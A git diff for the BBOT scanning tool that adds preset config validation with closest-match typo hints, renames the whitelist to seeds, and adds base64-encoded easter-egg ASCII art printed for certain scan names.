             full_config (bool, optional): If True, include the entire config, not just what's changed from the defaults.
 
         Returns:
@@ -775,10 +874,9 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False)
 
         # config
         if full_config:
-            config = self.core.config
+            config = dict(self.core.config)
         else:
-            config = self.core.custom_config
-        config = omegaconf.OmegaConf.to_object(config)
+            config = dict(self.core.custom_config)
         if redact_secrets:
             config = self.core.no_secrets_config(config)
         if config:
@@ -786,15 +884,15 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False)
 
         # scope
         if include_target:
-            target = sorted(self.target.seeds.inputs)
-            whitelist = []
-            if self.target.whitelist is not None:
-                whitelist = sorted(self.target.whitelist.inputs)
+            target = sorted(self.target.target.inputs)
+            seeds = []
+            if self.target.seeds is not None:
+                seeds = sorted(self.target.seeds.inputs)
             blacklist = sorted(self.target.blacklist.inputs)
             if target:
                 preset_dict["target"] = target
-            if whitelist and whitelist != target:
-                preset_dict["whitelist"] = whitelist
+            if seeds and seeds != target:
+                preset_dict["seeds"] = seeds
             if blacklist:
                 preset_dict["blacklist"] = blacklist
 
@@ -805,6 +903,8 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False)
             preset_dict["exclude_flags"] = sorted(self.exclude_flags)
         if self.exclude_modules:
             preset_dict["exclude_modules"] = sorted(self.exclude_modules)
+        if self.exclude_output_modules:
+            preset_dict["exclude_output_modules"] = sorted(self.exclude_output_modules)
         if self.flags:
             preset_dict["flags"] = sorted(self.flags)
         if self.explicit_scan_modules:
@@ -824,7 +924,7 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False)
         if self.scan_name:
             preset_dict["scan_name"] = self.scan_name
         if self.scan_name and self.output_dir is not None:
-            preset_dict["output_dir"] = self.output_dir
+            preset_dict["output_dir"] = str(self.output_dir)
 
         # conditions
         if self.conditions:
@@ -832,14 +932,15 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False)
 
         return preset_dict
 
-    def to_yaml(self, include_target=False, full_config=False, sort_keys=False):
+    def to_yaml(self, include_target=False, full_config=False, sort_keys=False, redact_secrets=False):
         """
         Return the preset in the form of a YAML string.
 
         Args:
-            include_target (bool, optional): If True, include target, whitelist, and blacklist in the dictionary
+            include_target (bool, optional): If True, include seeds, target, and blacklist in the dictionary
             full_config (bool, optional): If True, include the entire config, not just what's changed from the defaults.
             sort_keys (bool, optional): If True, sort YAML keys alphabetically
+            redact_secrets (bool, optional): If True, redact secret values from the output
 
         Returns:
             str: The preset in the form of a YAML string
@@ -852,7 +953,9 @@ def to_yaml(self, include_target=False, full_config=False, sort_keys=False):
             modules:
             - portscan
         """
-        preset_dict = self.to_dict(include_target=include_target, full_config=full_config)
+        preset_dict = self.to_dict(
+            include_target=include_target, full_config=full_config, redact_secrets=redact_secrets
+        )
         return yaml.dump(preset_dict, sort_keys=sort_keys)
 
     def _is_valid_module(self, module, module_type, name_only=False, raise_error=True):
@@ -901,8 +1004,29 @@ def _is_valid_module(self, module, module_type, name_only=False, raise_error=Tru
 
     def validate(self):
         """
-        Validate module/flag exclusions/requirements, and CLI config options if applicable.
+        Coerce config values to their declared types and validate the preset.
+
+        This is a PRECONDITION for bake() (which enforces it): a preset must be
+        validated before it can be baked. Idempotent -- safe to call more than
+        once. Sets ``self._validated = True`` on success and returns ``self`` so
+        it can be chained (e.g. ``preset.validate().bake()``).
         """
+        from bbot.core.config.models import coerce_config
+
+        # Coerce config values toward their declared types
+        try:
+            index = self.module_loader.config_type_index
+            self.core.custom_config = coerce_config(self.core.custom_config, index)
+        except Exception as e:
+            log.debug(f"Config coercion error: {e}")
+
+        # Validate the (coerced) user config against the schema
+        from .validate import validate_preset
+
+        errs = validate_preset({"config": dict(self.core.custom_config)}, module_loader=self.module_loader)
+        if errs:
+            raise ValidationError("\n".join(str(e) for e in errs))
+
         if self._cli:
             self.args.validate()
 
@@ -912,6 +1036,16 @@ def validate(self):
                 raise ValidationError(
                     get_closest_match(excluded_module, self.module_loader.all_module_choices, msg="module")
                 )
+        for excluded_module in self.exclude_output_modules:
+            if excluded_module not in self.module_loader.output_module_choices:
+                raise ValidationError(
+                    get_closest_match(excluded_module, self.module_loader.output_module_choices, msg="output module")
+                )
+        # validate declared module names so typos fail early
+        for scan_module in self.explicit_scan_modules:
+            self._is_valid_module(scan_module, "scan", name_only=True)
+        for output_module in self.explicit_output_modules:
+            self._is_valid_module(output_module, "output", name_only=True)
         # validate excluded flags
         for excluded_flag in self.exclude_flags:
             if excluded_flag not in self.module_loader.flag_choices:
@@ -925,13 +1059,16 @@ def validate(self):
             if flag not in self.module_loader.flag_choices:
                 raise ValidationError(get_closest_match(flag, self.module_loader.flag_choices, msg="flag"))
 
+        self._validated = True
+        return self
+
     @property
     def all_presets(self):
         """
         Recursively find all the presets and return them as a dictionary
         """
-        # first, add local preset dir to PRESET_PATH
-        PRESET_PATH.add_path(self.preset_dir)
+        # first, add local preset dir to PRESET_PATH (listable so -lp enumerates it)
+        PRESET_PATH.add_path(self.preset_dir, listable=True)
 
         # ensure local preset directory exists
         mkdir(self.preset_dir)
@@ -939,7 +1076,7 @@ def all_presets(self):
         global DEFAULT_PRESETS
         if DEFAULT_PRESETS is None:
             presets = {}
-            for preset_path in PRESET_PATH:
+            for preset_path in PRESET_PATH.listable_paths:
                 for ext in ("yml", "yaml"):
                     # for every yaml file
                     for original_filename in preset_path.rglob(f"**/*.{ext}"):
@@ -986,11 +1123,13 @@ def presets_table(self, include_modules=True):
         if include_modules:
             header.append("Modules")
         for loaded_preset, category, preset_path, original_file in self.all_presets.values():
-            loaded_preset = loaded_preset.bake()
-            num_modules = f"{len(loaded_preset.scan_modules):,}"
+            # Use explicit_scan_modules which contains the raw modules from YAML
+            # This avoids needing to call bake()
+            explicit_modules = loaded_preset.explicit_scan_modules
+            num_modules = f"{len(explicit_modules):,}"
             row = [loaded_preset.name, category, loaded_preset.description, num_modules]
             if include_modules:
-                row.append(", ".join(sorted(loaded_preset.scan_modules)))
+                row.append(", ".join(sorted(explicit_modules)))
             table.append(row)
         return make_table(table, header)
 
diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py
new file mode 100644
index 0000000000..81d8e86fc3
--- /dev/null
+++ b/bbot/scanner/preset/validate.py
@@ -0,0 +1,317 @@
+"""
+Public `validate_preset()` API for BBOT presets.
+
+Given a preset-as-dict (i.e. what comes out of a YAML file before it's
+instantiated), return a list of human-readable errors.
+
+The validator does a single pass against a composite pydantic schema
+(built once per module-loader state by `ModuleLoader.validation_schema`)
+that covers every layer in one tree:
+
+- top-level preset keys (e.g. `modlues:` typo)
+- global config (e.g. `scope.strct`, `web.http_timoeut`)
+- unknown module names (e.g. `modules.nucleii`)
+- per-module config (e.g. `modules.nuclei.tgas`)
+
+Errors are aggregated so a user with multiple typos sees them all. The
+caller decides whether to raise or just print them.
+"""
+
+from __future__ import annotations
+
+import logging
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any
+
+from pydantic import ValidationError
+
+from bbot.errors import BBOTError
+from bbot.core.config.models import PresetSchema
+from bbot.core.helpers.misc import get_closest_match
+
+
+def _preset_top_level_keys() -> set[str]:
+    """Field names and aliases declared on PresetSchema, used for closest-match
+    suggestions on unknown top-level preset keys (e.g. `modlues` -> `modules`)."""
+    keys: set[str] = set()
+    for name, field in PresetSchema.model_fields.items():
+        keys.add(name)
+        alias = getattr(field, "alias", None)
+        if alias:
+            keys.add(alias)
+    return keys
+
+
+_PRESET_KEYS = _preset_top_level_keys()
+
+
+log = logging.getLogger("bbot.presets.validate")
+
+
+@dataclass
+class PresetValidationError:
+    """A single validation problem. Stringifies to a human-readable message."""
+
+    where: str  # "preset", "config", "module:<name>"
+    path: str  # dotted location, e.g. "scope.strict" or ""
+    message: str
+
+    def __str__(self) -> str:
+        loc = f"{self.where}:{self.path}" if self.path else self.where
+        return f"[{loc}] {self.message}"
+
+
+def _classify_loc(loc: tuple) -> tuple[str, str]:
+    """
+    Map a pydantic error path to a (where, path) pair.
+
+    Examples:
+        ('modlues',)                              -> ('preset', 'modlues')
+        ('config', 'scope', 'strct')              -> ('config', 'scope.strct')
+        ('config', 'modules', 'nucleii')          -> ('preset', 'config.modules.nucleii')
+        ('config', 'modules', 'nuclei', 'tgas')   -> ('module:nuclei', 'tgas')
+    """
+    parts = [str(p) for p in loc]
+
+    if len(parts) >= 2 and parts[0] == "config" and parts[1] == "modules":
+        # Error is somewhere under config.modules.*
+        if len(parts) == 2:
+            # The `modules` mapping itself has the wrong shape (e.g. a list).
+            # Classify as a config-level error rather than walking deeper.
+            return ("config", "modules")
+        if len(parts) == 3:
+            # The module name itself is unknown (extra_forbidden on ModulesSchema)
+            return ("preset", ".".join(parts))
+        # Error is within a known module's config
+        module_name = parts[2]
+        return (f"module:{module_name}", ".".join(parts[3:]))
+
+    if parts and parts[0] == "config":
+        return ("config", ".".join(parts[1:]))
+
+    return ("preset", ".".join(parts))
+
+
+def _format_msg(err: dict, known_modules: set | None = None, known_paths: set | None = None) -> str:
+    kind = err["type"]
+    input_value = err.get("input")
+    loc = err["loc"]
+    field = str(loc[-1]) if loc else ""
+    path = ".".join(str(p) for p in loc)
+
+    if kind == "extra_forbidden":
+        # Special-case unknown module name (config.modules.<bad>) — users get
+        # a suggestion drawn from the set of known module names.
+        if len(loc) == 3 and loc[0] == "config" and loc[1] == "modules":
+            return get_closest_match(field, known_modules or set(), msg="module")
+        # Top-level preset key (e.g. `modlues:`) — suggest from PresetSchema
+        # field names rather than the dotted config-path universe, so users
+        # get useful hints like "Did you mean 'modules'?".
+        if len(loc) == 1:
+            return get_closest_match(field, _PRESET_KEYS, msg="preset option")
+        # For everything else, suggest from the known dotted-path universe
+        # (`web.spier_distance` → `web.spider_distance`).
+        if known_paths:
+            # strip the leading "config." prefix when matching, since
+            # default_config dotted paths don't include it
+            lookup_path = ".".join(str(p) for p in loc[1:]) if loc and loc[0] == "config" else path
+            return get_closest_match(lookup_path, known_paths, msg="config option")
+        msg = f"Unknown option: {field!r}"
+        if isinstance(input_value, (str, int, bool, float)):
+            msg += f" (value: {input_value!r})"
+        elif isinstance(input_value, list) and len(input_value) <= 5:
+            msg += f" (value: {input_value!r})"
+        return msg
+
+    if kind in {"int_parsing", "int_type"}:
+        return f"Expected an integer, got {type(input_value).__name__}: {input_value!r}"
+    if kind in {"bool_parsing", "bool_type"}:
+        return f"Expected a boolean, got {type(input_value).__name__}: {input_value!r}"
+    if kind == "string_type":
+        return f"Expected a string, got {type(input_value).__name__}: {input_value!r}"
+    if kind == "list_type":
+        return f"Expected a list, got {type(input_value).__name__}"
+    if kind == "dict_type":
+        return f"Expected a mapping, got {type(input_value).__name__}"
+    if kind == "literal_error":
+        # pydantic stashes the allowed values in ctx["expected"] formatted like:
+        # "'manual', 'technology', 'severe' or 'budget'"
+        ctx = err.get("ctx") or {}
+        expected = ctx.get("expected", "")
+        return f"Expected one of {expected}, got {input_value!r}" if expected else err.get("msg", "")
+    if kind == "missing":
+        return f"Required option {field!r} is missing"
+    if kind == "value_error":
+        # Pydantic wraps ValueError raised inside a field_validator and prefixes
+        # the message with "Value error, ". Surface the original ValueError text
+        # so the error reads naturally.
+        ctx = err.get("ctx") or {}
+        inner = ctx.get("error")
+        if inner is not None:
+            return str(inner)
+        msg = err.get("msg", "")
+        prefix = "Value error, "
+        return msg[len(prefix) :] if msg.startswith(prefix) else msg
+
+    # Fallback to pydantic's own message
+    return err["msg"] if err.get("msg") else f"validation error at {path}"
+
+
+def _format_errors(
+    exc: ValidationError,
+    known_modules: set | None = None,
+    known_paths: set | None = None,
+) -> list[PresetValidationError]:
+    out: list[PresetValidationError] = []
+    for err in exc.errors():
+        where, path = _classify_loc(err["loc"])
+        out.append(PresetValidationError(where=where, path=path, message=_format_msg(err, known_modules, known_paths)))
+    return out
+
+
+def prevalidate_preset(preset_dict: Any) -> list[PresetValidationError]:
+    """Validate a preset's top-level KEY names only -- the gate `Preset.from_dict`
+    runs up front. Reports every unknown/typo'd key with a closest-match hint;
+    config VALUES are validated later by `Preset.validate()`, not here.
+
+    Examples:
+        >>> print(prevalidate_preset({"modlues": ["nuclei"]})[0])
+        [preset:modlues] Could not find preset option "modlues". Did you mean "modules"?
+    """
+    if not isinstance(preset_dict, dict):
+        return [PresetValidationError("preset", "", f"Expected a mapping, got {type(preset_dict).__name__}")]
+    errors: list[PresetValidationError] = []
+    for key in preset_dict:
+        if key not in _PRESET_KEYS:
+            errors.append(
+                PresetValidationError(
+                    "preset", str(key), get_closest_match(str(key), _PRESET_KEYS, msg="preset option")
+                )
+            )
+    return errors
+
+
+def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidationError]:
+    """
+    Validate a preset dict against BBOT's composite schema.
+
+    Returns a list of `PresetValidationError` objects. An empty list means
+    the preset is valid. Errors from all layers are aggregated, so a user
+    with multiple typos sees them all at once.
+
+    **Side effect**: any custom `module_dirs` declared in the preset (either
+    at top level or inside `config`) are registered with `module_loader` so
+    their modules become known. Without this, modules from a custom dir
+    would be falsely reported as unknown. Idempotent — `add_module_dir`
+    short-circuits on already-loaded directories.
+
+    Args:
+        preset_dict: Preset as a plain dict (e.g. from `yaml.safe_load`).
+        module_loader: Optional module loader. Falls back to the global
+            `MODULE_LOADER` if not provided.
+
+    Examples:
+        >>> errors = validate_preset({"modlues": ["nuclei"]})
+        >>> print(errors[0])
+        [preset:modlues] Unknown option: 'modlues' (value: ['nuclei'])
+    """
+    if not isinstance(preset_dict, dict):
+        return [PresetValidationError("preset", "", f"Expected a dict, got {type(preset_dict).__name__}")]
+
+    if module_loader is None:
+        from bbot.core.modules import MODULE_LOADER
+
+        module_loader = MODULE_LOADER
+
+    errors: list[PresetValidationError] = []
+
+    # Pre-load any custom module_dirs the preset declares so the composite
+    # schema includes their modules. Defensive iteration — bad shape gets
+    # surfaced by the schema pass below.
+    config_dict = preset_dict.get("config")
+    for source in (
+        preset_dict.get("module_dirs"),
+        config_dict.get("module_dirs") if isinstance(config_dict, dict) else None,
+    ):
+        # Skip non-list shapes (e.g. a string) so we don't iterate characters
+        # and trigger filesystem calls. The schema pass below reports the
+        # actual type error.
+        if not isinstance(source, list):
+            continue
+        for d in source:
+            if not isinstance(d, str):
+                continue
+            # A bad custom module (e.g. a legacy options dict, which preload rejects
+            # via sys.exit) must not kill a caller that just wants a list of errors.
+            try:
+                module_loader.add_module_dir(d)
+            except (SystemExit, Exception) as e:
+                detail = str(e).strip()
+                suffix = f": {detail}" if detail and detail != "1" else ""
+                errors.append(
+                    PresetValidationError("preset", "module_dirs", f"Failed to load module dir {d!r}{suffix}")
+                )
+
+    known_modules = set(module_loader.all_module_choices)
+    # The type index is the single source of truth for known dotted config
+    # paths -- both for coercion AND for "did you mean ...?" suggestions.
+    known_paths = set(module_loader.config_type_index)
+
+    # Validate against the composite schema (rebuilt automatically if new
+    # module_dirs were just preloaded above). Closest-match suggestions
+    # for unknown module names + config options are produced inside the formatter.
+    try:
+        module_loader.validation_schema.model_validate(preset_dict)
+    except ValidationError as e:
+        errors.extend(_format_errors(e, known_modules=known_modules, known_paths=known_paths))
+    except BBOTError as e:
+        # A custom module with an invalid `class Config` raises when the schema is
+        # built/exec'd. Report it instead of letting it propagate out of this API.
+        errors.append(PresetValidationError("preset", "", str(e)))
+
+    # Module names listed in top-level `modules`/`output_modules`/`exclude_modules`
+    # aren't covered by the composite schema (they're a list of strings, not a
+    # nested mapping). Check them explicitly, with the same closest-match hint.
+    # Skip non-list values; the schema pass above already flagged the type error,
+    # and iterating a string here would yield bogus per-character lookups.
+    for key in ("modules", "output_modules", "exclude_modules", "exclude_output_modules"):
+        value = preset_dict.get(key)
+        if not isinstance(value, list):
+            continue
+        for name in value:
+            # non-string entries (e.g. a dangling YAML item -> None) already get a
+            # type error from the schema pass; skip so get_closest_match's difflib doesn't choke
+            if not isinstance(name, str):
+                continue
+            if name not in known_modules:
+                hint = get_closest_match(name, known_modules, msg="module")
+                errors.append(PresetValidationError(where="preset", path=key, message=hint))
+
+    return errors
+
+
+def validate_preset_file(path: str | Path, **kwargs) -> list[PresetValidationError]:
+    """Convenience wrapper for validating a YAML preset file on disk.
+
+    Returns a list of errors. A missing file or unreadable YAML is reported
+    as a single error rather than raised, so callers can treat all failure
+    modes uniformly.
+    """
+    import yaml
+
+    try:
+        with open(path) as f:
+            data = yaml.safe_load(f) or {}
+    except FileNotFoundError:
+        return [PresetValidationError("preset", "", f"Preset file not found: {path}")]
+    except OSError as e:
+        return [PresetValidationError("preset", "", f"Could not read preset file {path}: {e}")]
+    except yaml.YAMLError as e:
+        return [PresetValidationError("preset", "", f"Invalid YAML in {path}: {e}")]
+    if not isinstance(data, dict):
+        return [PresetValidationError("preset", "", f"Expected a YAML mapping, got {type(data).__name__}")]
+    return validate_preset(data, **kwargs)
+
+
+__all__ = ["PresetValidationError", "prevalidate_preset", "validate_preset", "validate_preset_file"]
diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py
index 67c09ea38d..2379dcd940 100644
--- a/bbot/scanner/scanner.py
+++ b/bbot/scanner/scanner.py
@@ -1,3 +1,4 @@
+import os
 import sys
 import asyncio
 import logging
@@ -7,6 +8,7 @@
 from pathlib import Path
 from sys import exc_info
 from datetime import datetime
+from zoneinfo import ZoneInfo
 from collections import OrderedDict
 
 from bbot import __version__
@@ -17,7 +19,20 @@
 from bbot.core.config.logger import GzipRotatingFileHandler
 from bbot.core.multiprocess import SHARED_INTERPRETER_STATE
 from bbot.core.helpers.async_helpers import async_to_sync_gen
-from bbot.errors import BBOTError, ScanError, ValidationError
+from bbot.logger import log_to_stderr
+from bbot.errors import ASNResolutionError, BBOTError, ScanError, ValidationError
+from bbot.constants import (
+    get_scan_status_code,
+    get_scan_status_name,
+    SCAN_STATUS_NOT_STARTED,
+    SCAN_STATUS_STARTING,
+    SCAN_STATUS_RUNNING,
+    SCAN_STATUS_FINISHING,
+    SCAN_STATUS_ABORTING,
+    SCAN_STATUS_ABORTED,
+    SCAN_STATUS_FAILED,
+    SCAN_STATUS_FINISHED,
+)
 
 log = logging.getLogger("bbot.scanner")
 
@@ -27,11 +42,11 @@ class Scanner:
 
     Examples:
         Create scan with multiple targets:
-        >>> my_scan = Scanner("evilcorp.com", "1.2.3.0/24", modules=["portscan", "sslcert", "httpx"])
+        >>> my_scan = Scanner("evilcorp.com", "1.2.3.0/24", modules=["portscan", "sslcert", "http"])
 
         Create scan with custom config:
         >>> config = {"http_proxy": "http://127.0.0.1:8080", "modules": {"portscan": {"top_ports": 2000}}}
-        >>> my_scan = Scanner("www.evilcorp.com", modules=["portscan", "httpx"], config=config)
+        >>> my_scan = Scanner("www.evilcorp.com", modules=["portscan", "http"], config=config)
 
         Start the scan, iterating over events as they're discovered (synchronous):
         >>> for event in my_scan.start():
@@ -54,7 +69,6 @@ class Scanner:
             - "STARTING" (1): Status when the scan is initializing.
             - "RUNNING" (2): Status when the scan is in progress.
             - "FINISHING" (3): Status when the scan is in the process of finalizing.
-            - "CLEANING_UP" (4): Status when the scan is cleaning up resources.
             - "ABORTING" (5): Status when the scan is in the process of being aborted.
             - "ABORTED" (6): Status when the scan has been aborted.
             - "FAILED" (7): Status when the scan has encountered a failure.
@@ -63,8 +77,8 @@ class Scanner:
         _status_code (int): The numerical representation of the current scan status, stored for internal use. It is mapped according to the values in `_status_codes`.
         target (Target): Target of scan (alias to `self.preset.target`).
         preset (Preset): The main scan Preset in its baked form.
-        config (omegaconf.dictconfig.DictConfig): BBOT config (alias to `self.preset.config`).
-        whitelist (Target): Scan whitelist (by default this is the same as `target`) (alias to `self.preset.whitelist`).
+        config (dict): BBOT config (alias to `self.preset.config`).
+        seeds (Target): Scan seeds (by default this is the same as `target`) (alias to `self.preset.seeds`).
         blacklist (Target): Scan blacklist (this takes ultimate precedence) (alias to `self.preset.blacklist`).
         helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. (alias to `self.preset.helpers`).
         output_dir (pathlib.Path): Output directory for scan (alias to `self.preset.output_dir`).
@@ -84,18 +98,6 @@ class Scanner:
         - Setting a status will trigger the `on_status` event in the dispatcher.
     """
 
-    _status_codes = {
-        "NOT_STARTED": 0,
-        "STARTING": 1,
-        "RUNNING": 2,
-        "FINISHING": 3,
-        "CLEANING_UP": 4,
-        "ABORTING": 5,
-        "ABORTED": 6,
-        "FAILED": 7,
-        "FINISHED": 8,
-    }
-
     def __init__(
         self,
         *targets,
@@ -127,6 +129,8 @@ def __init__(
 
         self._success = False
         self._scan_finish_status_message = None
+        self._marked_finished = False
+        self._modules_loaded = False
 
         if scan_id is not None:
             self.id = str(scan_id)
@@ -148,8 +152,19 @@ def __init__(
                 raise ValidationError(f'Preset must be of type Preset, not "{type(custom_preset).__name__}"')
             base_preset.merge(custom_preset)
 
+        # validation+coercion is a precondition for baking; Scanner does it for the caller
+        base_preset.validate()
         self.preset = base_preset.bake(self)
 
+        self._prepped = False
+        self._finished_init = False
+        self._new_activity = False
+        self._cleanedup = False
+        self._omitted_event_types = None
+        self.modules = OrderedDict({})
+        self.dummy_modules = {}
+        self._status_code = SCAN_STATUS_NOT_STARTED
+
         # scan name
         if self.preset.scan_name is None:
             tries = 0
@@ -169,6 +184,36 @@ def __init__(
             scan_name = str(self.preset.scan_name)
         self.name = scan_name.replace("/", "_")
 
+        # :)
+        if self.name == "golden_gus" and not os.environ.get("NO_COLOR", ""):
+            from base64 import b64decode as _d
+
+            _a = _d(
+                "ICAgICAgICAgICAgICBfX18KICAqd29vZiogIF9fL18gIGAuICAuLSIiIi0uCiAgICAgICAgICBcXyxgIHwgXC0nICAvICAgKWAtJykKICAgICAgICAgICAiIikgImAiICAgIFwgICgoImAiCiAgICAgICAgICBfX19ZICAsICAgIC4nNyAvfAogICAgICAgICAoXyxfX18vLi4uLWAgKF8vXy8="
+            ).decode()
+            _m = _d("R3VzIGhhcyBibGVzc2VkIHlvdXIgc2Nhbi4=").decode()
+            gold = "\033[1;38;5;220m"
+            green = "\033[1;38;5;118m"
+            reset = "\033[0m"
+            log_to_stderr(
+                f"{gold}{_a}{reset}\n          {green}{_m}{reset}",
+                level="HUGESUCCESS",
+                logname=False,
+            )
+        if self.name == "recursive_thetechromancer" and not os.environ.get("NO_COLOR", ""):
+            from base64 import b64decode as _d
+
+            _a = _d(
+                "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4qO/4qO/4qG8G1sxOzM4OzU7MTcwbeKjv+Kjv+Kjv+Kjv+KhheKgguKgghtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qKA4qK74qO/G1sxOzM4OzU7MTA0beKjv+Kjv+Khh+KggRtbMTszODs1Ozk4beKggeKggeKiv+KjvxtbMTszODs1OzEzNG3ioJ/ioIHioIHioIHioIHioLjio7/io7/io7fio7/io78bWzE7Mzg7NTsxNzBt4qO/4qCK4qKI4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3iooDiooDiooDioITiooDiooDiooDior8bWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kgg+KgguKgghtbMTszODs1Ozk4beKigOKigOKggeKghBtbMTszODs1OzEzNG3ioIDioIDioIDioIDiorHio7/io7/io7/io7/ioZnioLviorfiooQbWzE7Mzg7NTsxNzBt4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3ioITioITioILioILioIHioIHioILioLgbWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kjv+Kgt+KgpBtbMTszODs1Ozk4beKggeKggeKggeKggRtbMTszODs1OzEzNG3ioIDioIDioIDioqDio7/io7/io7/io7/io7/io7fio7bio6Tio6Tio6DiooAbWzBtChtbMTszODs1OzY5beKggOKgguKggeKggeKigOKghOKgguKgguKiuBtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qG34qCW4qCC4qCAG1sxOzM4OzU7OTht4qCA4qCB4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgmOKgieKggeKiu+Kjv+Kjv+Kjv+KguOKiu+Kjv+Kjv+KjvxtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qCE4qOg4qO04qO/4qO/G1sxOzM4OzU7MTA0beKjv+Kjv+KgpuKggOKggBtbMTszODs1Ozk4beKjgOKjgOKggOKggBtbMTszODs1OzEzNG3ioIDioITioILioIHiorjio7/iob/ioKPioITioIHioJnioLvio78bWzBtChtbMTszODs1OzY5beKgguKghOKggeKigeKjpOKjvuKjv+Kjv+Kjv+KjvxtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qO/4qO24qO24qO/G1sxOzM4OzU7OTht4qO/4qO/4qO34qCE4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgiOKgq+KggeKghOKggeKggeKggeKgguKggRtbMG0="
+            ).decode()
+            cyan = "\033[1;38;5;51m"
+            reset = "\033[0m"
+            log_to_stderr(
+                f"{_a}\n{cyan}Never Mind the Electric Reign{reset}",
+                level="HUGESUCCESS",
+                logname=False,
+            )
+
         # make sure the preset has a description
         if not self.preset.description:
             self.preset.description = self.name
@@ -179,17 +224,12 @@ def __init__(
         else:
             self.home = self.preset.bbot_home / "scans" / self.name
 
+        self._status_code = SCAN_STATUS_NOT_STARTED
+
         # scan temp dir
         self.temp_dir = self.home / "temp"
-        self.helpers.mkdir(self.temp_dir)
-
-        self._status = "NOT_STARTED"
